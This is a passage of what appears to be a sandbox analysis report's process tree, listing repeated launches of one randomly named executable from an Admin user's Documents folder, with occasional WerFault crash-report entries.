- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:8464
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:8776
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:9108
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:8484
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:8712
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8712 -s 24
      4⤵
      Program crash
      PID:1160
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6744
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6488
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:9024
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7252
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:9348
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:9800
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:9304
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:10052
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6824
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6348
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:10060
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:5624
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:8576
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:10676
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:10572
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:11236
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:10940
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:11088
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:3656
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:9180
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:11280
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:11548
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:11848
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:12120
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:11340
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:11884
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:992
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:5176
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:9780
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:5436
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7456
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:4300
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:4904
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:10904
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6700
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:12536
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:12852
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 12852 -s 24
      4⤵
      Program crash
      PID:13204
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13192
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:12476
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:12912
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:12856
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13056
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13428
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13988
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:8432
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13440
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:14188
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:12272
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:14680
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 14680 -s 24
      4⤵
      Program crash
      PID:15312
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:15224
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13084
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13860
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:15344
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:15792
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:11796
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7588
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13620
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:15916
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:13856
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:16436
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:16956
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17216
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:14732
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:16568
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:16224
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:15900
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17628
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17852
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:16572
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17784
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:16972
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:18524
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:18884
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17092
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:19172
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17840
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:18120
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:18992
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:19364
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 19364 -s 24
      4⤵
      PID:19260
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:16400
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:19472
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:19848
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:20344
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:19736
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:5780
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:18108
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:20608
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:21432
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:19060
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:21184
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17924
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:18408
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7956
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:20504
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:20868
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:21592
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:21972
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:19516
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:156
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17836
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:23096
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:23528
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:22072
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:22848
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:23468
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:22784
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:23872
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:24328
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:19544
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:23812
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:24188
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:23728
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:24600
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:25016
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:22664
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:25524
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:25524
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:684
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:24320
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:24324
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:21884
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:23996
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:21952
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:25920
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:26272
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:25800
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:26148
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:25100
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:26244
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:17812
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:26956
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:27240
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:27540
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:26512
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:27280
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:26520
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:26952
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:16136
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:10776
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:27384
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:26664
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:4160
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:27848
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:28120
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:28624
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:27960
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:28444
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:20364
